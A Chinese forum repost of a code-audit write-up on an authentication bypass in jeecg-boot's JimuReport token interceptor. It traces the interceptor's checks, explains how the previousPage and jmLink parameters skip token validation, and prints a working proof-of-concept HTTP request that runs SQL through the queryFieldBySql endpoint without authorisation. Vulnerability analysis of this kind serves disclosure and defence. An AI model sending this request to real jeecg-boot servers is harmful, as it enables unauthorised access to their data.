ToB企服应用市场:ToB评测及商务社交产业平台

标题: [代码审计]jeecg-boot最新权限绕过毛病分析及新绕过发现 [打印本页]

作者: 九天猎人    时间: 2024-8-16 22:33
标题: [代码审计]jeecg-boot最新权限绕过毛病分析及新绕过发现
如果觉得该文章有帮助的,贫苦师傅们可以搜刮下微信公众号:良月安全。点个关注,感谢师傅们的支持。
免责声明

本号所发布的所有内容,包罗但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的统统不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立刻删除并致歉。

前言

起因是看到都在传播/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=这个payload,便想着去看看是咋回事,大概率就是拦截器内里的token验证绕过,jmreport老版本下的许多接口都是未授权访问的,导致之前爆出了不少毛病,后来加了token验证,查看代码后发现不止一个地方可以进行权限绕过。

代码分析

具体代码逻辑就在JimuReportTokenInterceptor这个类中,下断点进行调试分析,请求之前披露的毛病路由/jeecg-boot/jmreport/queryFieldBySql。
起首判断是否有xss payload特性。


如果访问的路由是/jmreport/shareView/,直接返回true,放行。

如果访问的路由不是/jmreport/shareView/,则看这个访问的路由有没有JimuNoLoginRequired注解,有的话也直接返回true,放行。


再判断有没有token传入,并验证token的有用性。


这里没有传入正确的token,接着往下走,this.jimuReportShareService.isSharingEffective方法中判断访问的路由在不在getShareUrls方法返回的List中,如果不在直接返回false。



我们访问的路由不在这个list中,继承往下走,就直接判断有没有传入previousPage参数了,没有的话拦截器会返回false,提示“Token校验失败,无权限访问!”。


现在加上previousPage参数进行访问,这里就会调用到this.jimuReportShareService.isShareingToken方法,只要这个方法返回true,拦截器就会返回true,放行了。

这里再加上网传的payload中的参数jmLink=YWFhfHxiYmI=,给var3赋值后,进行2个判断,只要我们传入的token不存在数据库里,并且访问的路由不是以/jmreport/view开头,就会返回true。


根据上述的分析,不难发现,不但仅是jmLink参数可以造成权限绕过,还有其他两处地方同样也可以造成权限绕过。

毛病复现

网传的payload,是jmLink参数参数造成的权限绕过。至于其他两处位置就放在星球的分析文章中。
  1. POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
  2. User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
  3. Accept: */*
  4. Accept-Language: zh-CN,zh;q=0.9
  5. Connection: keep-alive
  6. Content-Type: application/json
  7. Cache-Control: no-cache
  8. Pragma: no-cache
  9. Host: 192.168.131.100:8088
  10. Content-Length: 21
  11. {"sql":"select '1' "}
复制代码


结语

固然能实现权限绕过了,但上述的几种权限绕过方式只限于/jmreport下的路由,并且之前爆出来的rce的毛病,官方也已经进行了修复,有权限访问的情况下也无法用之前的payload进行rce了。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4